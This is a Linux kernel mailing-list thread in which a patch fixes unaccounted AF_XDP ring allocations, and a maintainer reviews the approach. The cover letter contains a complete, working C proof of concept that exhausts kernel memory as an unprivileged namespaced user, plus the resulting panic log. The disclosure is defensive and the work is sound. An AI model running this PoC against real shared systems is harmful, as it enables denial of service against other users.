[PATCH net v2 0/1] xsk: fix unaccounted ring allocations causing memory exhaustion

[PATCH net v2 0/1] xsk: fix unaccounted ring allocations causing memory exhaustion

[Zihan Xi]

Hi Linux kernel maintainers,

We found and validated a issue in net/xdp/xsk_queue.c. The bug is reachable by a
non-root user via user and net namespace.
We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

AF_XDP lets user space allocate RX, TX, UMEM fill and UMEM completion
rings with setsockopt() and mmap them into the process. The shared
xskq_create() helper allocates the ring backing memory, but unlike UMEM
registration it does not account those pages against RLIMIT_MEMLOCK /
user->locked_vm.

As a result, a process with CAP_NET_RAW in a user and network namespace
can request very large rings and pin a large amount of kernel memory
before bind or any packet I/O. In our original report the resulting OOM
ended in a panic because that guest had panic_on_oom enabled. The panic
was only the environment-specific end result; the bug itself is the
missing resource boundary that lets ring allocations consume excessive
memory in the first place.

The first version tried to bound these allocations with sysctl_optmem_max,
but that was the wrong resource model. We also evaluated a memcg-accounted
vmalloc path as suggested, but memcg attribution by itself did not impose
a default enforcement boundary in our validation setup. AF_XDP already
uses RLIMIT_MEMLOCK / user->locked_vm to bound pinned UMEM pages, and the
ring pages are likewise user-controlled, mmapable and long-lived. This
version therefore accounts AF_XDP ring allocations with the existing
mm_account_pinned_pages() helper and unaccounts them when the queue is
destroyed, so ring memory is constrained by the same default limit model
already used for AF_XDP UMEM pages.

Reproducer:

    gcc -O2 -static -o poc poc.c
    unshare -Urn ./poc

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------
#define _GNU_SOURCE
#include <errno.h>
#include <linux/if_xdp.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/sysinfo.h>
#include <unistd.h>

static void print_meminfo(const char *tag)
{
	struct sysinfo info;

	if (sysinfo(&info) == 0) {
		unsigned long long total = (unsigned long long)info.totalram * info.mem_unit;
		unsigned long long free = (unsigned long long)info.freeram * info.mem_unit;
		unsigned long long avail = (unsigned long long)info.bufferram * info.mem_unit;

		fprintf(stderr,
			"%s: total=%llu MiB free=%llu MiB buff=%llu MiB\n",
			tag, total >> 20, free >> 20, avail >> 20);
	}
}

static int set_ring(int fd, int optname, unsigned int entries, const char *name)
{
	int ret;

	ret = setsockopt(fd, SOL_XDP, optname, &entries, sizeof(entries));
	if (ret) {
		fprintf(stderr, "setsockopt(%s, %u) failed: %s\n",
			name, entries, strerror(errno));
		return -1;
	}

	fprintf(stderr, "allocated %s ring with %u entries on fd=%d\n",
		name, entries, fd);
	return 0;
}

int main(int argc, char **argv)
{
	static const struct {
		int optname;
		const char *name;
	} rings[] = {
		{ XDP_RX_RING, "XDP_RX_RING" },
		{ XDP_TX_RING, "XDP_TX_RING" },
		{ XDP_UMEM_FILL_RING, "XDP_UMEM_FILL_RING" },
		{ XDP_UMEM_COMPLETION_RING, "XDP_UMEM_COMPLETION_RING" },
	};
	unsigned int entries = 1U << 25;
	int nsockets = 8;
	int *fds;
	int i, j;

	if (argc > 1)
		entries = strtoul(argv[1], NULL, 0);
	if (argc > 2)
		nsockets = atoi(argv[2]);
	if (!entries || !nsockets) {
		fprintf(stderr, "usage: %s [entries power-of-two] [socket_count]\n",
			argv[0]);
		return 1;
	}

	fds = calloc(nsockets, sizeof(*fds));
	if (!fds) {
		perror("calloc");
		return 1;
	}

	fprintf(stderr,
		"AF_XDP ring exhaustion PoC: entries=%u sockets=%d pid=%d\n",
		entries, nsockets, getpid());
	print_meminfo("before");

	for (i = 0; i < nsockets; i++) {
		fds[i] = socket(AF_XDP, SOCK_RAW, 0);
		if (fds[i] < 0) {
			fprintf(stderr, "socket(AF_XDP) failed at index %d: %s\n",
				i, strerror(errno));
			break;
		}

		fprintf(stderr, "opened AF_XDP socket %d fd=%d\n", i, fds[i]);
		for (j = 0; j < (int)(sizeof(rings) / sizeof(rings[0])); j++) {
			if (set_ring(fds[i], rings[j].optname, entries, rings[j].name))
				goto out;
			print_meminfo(rings[j].name);
		}
	}

out:
	fprintf(stderr, "holding allocations open; press Ctrl-C or wait\n");
	sleep(600);

	for (i = 0; i < nsockets; i++) {
		if (fds[i] >= 0)
			close(fds[i]);
	}
	free(fds);
	return 0;
}
------END poc.c--------

----BEGIN crash log----
[  112.547501][  T953] Kernel panic - not syncing: Out of memory: system-wide panic_on_oom is enabled
[  112.548314][  T953] CPU: 2 UID: 1028 PID: 953 Comm: poc Not tainted 6.12.95 #1 7b931b951f26d30ef9f3f8d44b931a24dbfb5ce6
[  112.549150][  T953] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  112.550090][  T953] Call Trace:
[  112.550346][  T953]  <TASK>
[  112.550569][  T953]  panic (kernel/panic.c:1101)
[  112.550876][  T953]  ? __pfx_panic (include/linux/nmi.h:163)
[  112.551222][  T953]  ? __pfx_lock_release+0x10/0x10
[  112.551642][  T953]  out_of_memory (mm/oom_kill.c:1193)
[  112.552013][  T953]  ? __alloc_pages_slowpath.constprop.0+0xa0f/0x2800
[  112.552538][  T953]  ? __pfx_out_of_memory (mm/oom_kill.c:835)
[  112.552919][  T953]  ? __pfx_mutex_trylock (kernel/locking/mutex.c:582 (discriminator 1))
[  112.553335][  T953]  __alloc_pages_slowpath.constprop.0+0x1eb8/0x2800
[  112.553854][  T953]  ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:220)
[  112.554295][  T953]  ? __pfx___alloc_pages_slowpath.constprop.0+0x10/0x10
[  112.554819][  T953]  ? local_clock_noinstr (kernel/sched/clock.c:307 (discriminator 1))
[  112.555214][  T953]  ? lock_release+0x687/0xc90
[  112.555584][  T953]  ? __pfx___might_resched+0x10/0x10
[  112.556006][  T953]  __alloc_pages_noprof (mm/page_alloc.c:5221 (discriminator 1))
[  112.556409][  T953]  ? __pfx___alloc_pages_noprof (mm/page_alloc.c:4967)
[  112.556860][  T953]  alloc_pages_mpol_noprof+0x1b1/0x430
[  112.557289][  T953]  ? __pfx_alloc_pages_mpol_noprof+0x10/0x10
[  112.557759][  T953]  ? __pfx___might_resched+0x10/0x10
[  112.558179][  T953]  __vmalloc_node_range_noprof (include/linux/workqueue.h:699 include/linux/workqueue.h:760 mm/vmalloc.c:3801 mm/vmalloc.c:3941 mm/vmalloc.c:4082)
[  112.558628][  T953]  ? xskq_create (include/linux/refcount.h:291 include/linux/refcount.h:366 include/linux/refcount.h:383 include/net/sock.h:839 net/xdp/xsk_queue.c:61)
[  112.558990][  T953]  ? __pfx___vmalloc_node_range_noprof (mm/vmalloc.c:4143 (discriminator 2))
[  112.559508][  T953]  ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:220)
[  112.559950][  T953]  ? xskq_create (include/linux/refcount.h:291 include/linux/refcount.h:366 include/linux/refcount.h:383 include/net/sock.h:839 net/xdp/xsk_queue.c:61)
[  112.560346][  T953]  vmalloc_user_noprof (mm/vmalloc.c:4484 (discriminator 4))
[  112.560731][  T953]  ? xskq_create (include/linux/refcount.h:291 include/linux/refcount.h:366 include/linux/refcount.h:383 include/net/sock.h:839 net/xdp/xsk_queue.c:61)
[  112.561096][  T953]  xskq_create (include/linux/refcount.h:291 include/linux/refcount.h:366 include/linux/refcount.h:383 include/net/sock.h:839 net/xdp/xsk_queue.c:61)
[  112.561434][  T953]  xsk_setsockopt (net/xdp/xsk.c:1198)
[  112.561799][  T953]  ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:220)
[  112.562227][  T953]  ? aa_sk_perm+0x131/0x8a0
[  112.562573][  T953]  ? __pfx_xsk_setsockopt (include/linux/refcount.h:461)
[  112.562975][  T953]  ? security_file_permission (security/security.c:2424 (discriminator 18))
[  112.563420][  T953]  ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:220)
[  112.563850][  T953]  ? vfs_write (fs/read_write.c:799)
[  112.564222][  T953]  do_sock_setsockopt (net/socket.c:395)
[  112.564610][  T953]  ? __pfx_do_sock_setsockopt (net/socket.c:282 (discriminator 1))
[  112.565046][  T953]  ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:220)
[  112.565490][  T953]  ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:220)
[  112.565926][  T953]  ? __do_sys_sysinfo (kernel/sys.c:2202)
[  112.566333][  T953]  ? __pfx___do_sys_sysinfo (kernel/sys.c:3073)
[  112.566758][  T953]  __sys_setsockopt (net/socket.c:2396)
[  112.567144][  T953]  __x64_sys_setsockopt (arch/x86/include/asm/compat.h:94 (discriminator 1) arch/x86/include/asm/compat.h:100 (discriminator 1) net/socket.c:2505 (discriminator 1))
[  112.567538][  T953]  ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:220)
[  112.567967][  T953]  ? trace_hardirqs_on+0x5b/0x110
[  112.568366][  T953]  do_syscall_64 (arch/x86/include/asm/entry-common.h:43 (discriminator 3) include/linux/irq-entry-common.h:100 (discriminator 3) include/linux/entry-common.h:174 (discriminator 3) arch/x86/entry/syscall_64.c:89 (discriminator 3))
[  112.568721][  T953]  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[  112.569187][  T953] RIP: 0033:0x7e2b01ae42ba
[  112.569541][  T953] Code: 48 83 ec 10 48 63 c9 48 63 ff 45 89 c9 6a 2c e8 fc d3 f7 ff 48 83 c4 18 c3 0f 1f 80 00 00 00 00 49 89 ca b8 36 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 06 c3 0f 1f 44 00 00 48 8b 15 21 2b 0d 00 f7
All code
========
   0:	48 83 ec 10          	sub    $0x10,%rsp
   4:	48 63 c9             	movslq %ecx,%rcx
   7:	48 63 ff             	movslq %edi,%rdi
   a:	45 89 c9             	mov    %r9d,%r9d
   d:	6a 2c                	push   $0x2c
   f:	e8 fc d3 f7 ff       	call   0xfffffffffff7d410
  14:	48 83 c4 18          	add    $0x18,%rsp
  18:	c3                   	ret
  19:	0f 1f 80 00 00 00 00 	nopl   0x0(%rax)
  20:	49 89 ca             	mov    %rcx,%r10
  23:	b8 36 00 00 00       	mov    $0x36,%eax
  28:	0f 05                	syscall
  2a:*	48 3d 00 f0 ff ff    	cmp    $0xfffffffffffff000,%rax		<-- trapping instruction
  30:	77 06                	ja     0x38
  32:	c3                   	ret
  33:	0f 1f 44 00 00       	nopl   0x0(%rax,%rax,1)
  38:	48 8b 15 21 2b 0d 00 	mov    0xd2b21(%rip),%rdx        # 0xd2b60
  3f:	f7                   	.byte 0xf7

Code starting with the faulting instruction
===========================================
   0:	48 3d 00 f0 ff ff    	cmp    $0xfffffffffffff000,%rax
   6:	77 06                	ja     0xe
   8:	c3                   	ret
   9:	0f 1f 44 00 00       	nopl   0x0(%rax,%rax,1)
   e:	48 8b 15 21 2b 0d 00 	mov    0xd2b21(%rip),%rdx        # 0xd2b36
  15:	f7                   	.byte 0xf7
[  112.571019][  T953] RSP: 002b:00007ffc66ef6958 EFLAGS: 00000283 ORIG_RAX: 0000000000000036
[  112.571683][  T953] RAX: ffffffffffffffda RBX: 000055d2e378619e RCX: 00007e2b01ae42ba
[  112.572300][  T953] RDX: 0000000000000005 RSI: 000000000000011b RDI: 0000000000000003
[  112.572901][  T953] RBP: 0000000000000000 R08: 0000000000000004 R09: 0000000000000000
[  112.573505][  T953] R10: 00007ffc66ef697c R11: 0000000000000283 R12: 000055d2e3787dc0
[  112.574127][  T953] R13: 0000000004000000 R14: 00007ffc66ef697c R15: 0000000000000003
[  112.574744][  T953]  </TASK>
[  112.575596][  T953] Kernel Offset: disabled
[  112.575937][  T953] Rebooting in 10 seconds..
-----END crash log-----

Best regards,
Zihan Xi

changes in v2:
  - replace the socket optmem limit proposal with RLIMIT_MEMLOCK /
    user->locked_vm accounting via mm_account_pinned_pages()
  - drop the earlier socket/pool lifetime coupling changes and keep the
    final code diff limited to xsk_queue.c and xsk_queue.h
  - clarify that panic_on_oom only affected the observed end result, while
    the bug is the missing resource boundary for ring allocations
  - explain why memcg attribution alone was not sufficient as the default
    enforcement boundary in the validated setup
  - v1 Link: https://lore.kernel.org/all/cover.1785313094.git.zihanx@nebusec.ai/

Zihan Xi (1):
  xsk: account ring allocations to RLIMIT_MEMLOCK

 net/xdp/xsk_queue.c | 8 ++++++++
 net/xdp/xsk_queue.h | 4 +++-
 2 files changed, 11 insertions(+), 1 deletion(-)

-- 
2.43.0

[PATCH net v2 1/1] xsk: account ring allocations to RLIMIT_MEMLOCK

[Zihan Xi]

AF_XDP lets user space create RX, TX, fill and completion rings via
setsockopt() and mmap them into the process.  xskq_create() allocates the
ring backing memory, but unlike XDP UMEM registration it never accounts
those pages against RLIMIT_MEMLOCK / user->locked_vm.

A process with CAP_NET_RAW in a user and network namespace can therefore
request very large rings and pin a large amount of kernel memory before
bind or any packet I/O.  The later vmalloc_user() conversion changed the
allocation mechanism, but it did not create this missing resource boundary:
the unaccounted mmapable ring allocation already existed in the original
shared xskq_create() helper.

Fix this by accounting AF_XDP ring allocations with the existing
mm_account_pinned_pages() helper and unaccounting them when the queue is
destroyed.  This puts ring memory under the same RLIMIT_MEMLOCK /
user->locked_vm model that AF_XDP already uses for UMEM pages, without
introducing AF_XDP-specific limits or socket lifetime coupling.

Fixes: 423f38329d26 ("xsk: add umem fill queue support and mmap")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
changes in v2:
  - replace the socket optmem limit proposal with RLIMIT_MEMLOCK /
    user->locked_vm accounting via mm_account_pinned_pages()
  - drop the earlier socket/pool lifetime coupling changes and keep the
    final code diff limited to xsk_queue.c and xsk_queue.h
  - retarget Fixes to 423f38329d26, the original mmapable queue
    allocation that introduced the missing resource boundary
  - v1 Link: https://lore.kernel.org/all/cover.1785313094.git.zihanx@nebusec.ai/
 net/xdp/xsk_queue.c | 8 ++++++++
 net/xdp/xsk_queue.h | 4 +++-
 2 files changed, 11 insertions(+), 1 deletion(-)

diff --git a/net/xdp/xsk_queue.c b/net/xdp/xsk_queue.c
index 4dd01b7d858e..8be251096277 100644
--- a/net/xdp/xsk_queue.c
+++ b/net/xdp/xsk_queue.c
@@ -25,6 +25,7 @@ struct xsk_queue *xskq_create(u32 nentries, bool umem_queue)
 {
 	struct xsk_queue *q;
 	size_t size;
+	int err;
 
 	q = kzalloc_obj(*q);
 	if (!q)
@@ -45,9 +46,15 @@ struct xsk_queue *xskq_create(u32 nentries, bool umem_queue)
 	}
 
 	size = PAGE_ALIGN(size);
+	err = mm_account_pinned_pages(&q->mmp, size);
+	if (err) {
+		kfree(q);
+		return NULL;
+	}
 
 	q->ring = vmalloc_user(size);
 	if (!q->ring) {
+		mm_unaccount_pinned_pages(&q->mmp);
 		kfree(q);
 		return NULL;
 	}
@@ -62,5 +69,6 @@ void xskq_destroy(struct xsk_queue *q)
 		return;
 
 	vfree(q->ring);
+	mm_unaccount_pinned_pages(&q->mmp);
 	kfree(q);
 }
diff --git a/net/xdp/xsk_queue.h b/net/xdp/xsk_queue.h
index 1bc42c8902f4..b2e96c65f955 100644
--- a/net/xdp/xsk_queue.h
+++ b/net/xdp/xsk_queue.h
@@ -7,6 +7,7 @@
 #define _LINUX_XSK_QUEUE_H
 
 #include <linux/types.h>
+#include <linux/skbuff.h>
 #include <linux/if_xdp.h>
 #include <net/xdp_sock.h>
 #include <net/xsk_buff_pool.h>
@@ -46,6 +47,7 @@ struct xsk_queue {
 	u64 invalid_descs;
 	u64 queue_empty_descs;
 	size_t ring_vmalloc_size;
+	struct mmpin mmp;
 	/* Mutual exclusion of the completion ring in the SKB mode.
 	 * Protect: when sockets share a single cq when the same netdev
 	 * and queue id is shared.
@@ -532,6 +534,6 @@ static inline u64 xskq_nb_queue_empty_descs(struct xsk_queue *q)
 }
 
 struct xsk_queue *xskq_create(u32 nentries, bool umem_queue);
-void xskq_destroy(struct xsk_queue *q_ops);
+void xskq_destroy(struct xsk_queue *q);
 
 #endif /* _LINUX_XSK_QUEUE_H */
-- 
2.43.0

Re: [PATCH net v2 0/1] xsk: fix unaccounted ring allocations causing memory exhaustion

[Stanislav Fomichev]

On 07/30, Zihan Xi wrote:
> Hi Linux kernel maintainers,
> 
> We found and validated a issue in net/xdp/xsk_queue.c. The bug is reachable by a
> non-root user via user and net namespace.
> We've tested it, and it should not affect any other functionality.
> 
> We will provide detailed information about the bug
> in this email, along with a PoC to trigger it.
> 
> ---- details below ----
> 
> Bug details:
> 
> AF_XDP lets user space allocate RX, TX, UMEM fill and UMEM completion
> rings with setsockopt() and mmap them into the process. The shared
> xskq_create() helper allocates the ring backing memory, but unlike UMEM
> registration it does not account those pages against RLIMIT_MEMLOCK /
> user->locked_vm.
> 
> As a result, a process with CAP_NET_RAW in a user and network namespace
> can request very large rings and pin a large amount of kernel memory
> before bind or any packet I/O. In our original report the resulting OOM
> ended in a panic because that guest had panic_on_oom enabled. The panic
> was only the environment-specific end result; the bug itself is the
> missing resource boundary that lets ring allocations consume excessive
> memory in the first place.
> 
> The first version tried to bound these allocations with sysctl_optmem_max,
> but that was the wrong resource model. We also evaluated a memcg-accounted
> vmalloc path as suggested,

[..]

> but memcg attribution by itself did not impose
> a default enforcement boundary in our validation setup.

Can you expand on this? Maybe we don't pass some GFP_ACCOUNT flag or
something?

> AF_XDP already
> uses RLIMIT_MEMLOCK / user->locked_vm to bound pinned UMEM pages, and the
> ring pages are likewise user-controlled, mmapable and long-lived. This
> version therefore accounts AF_XDP ring allocations with the existing
> mm_account_pinned_pages() helper and unaccounts them when the queue is
> destroyed, so ring memory is constrained by the same default limit model
> already used for AF_XDP UMEM pages.

We get RLIMIT_MEMLOCK just because the users do mmap(), nothing af_xdp
specific. Idk, manually doing accounting seems a bit wrong, memcg/kmem seems
like the way to go. (also, panic on oom also still seems wrong)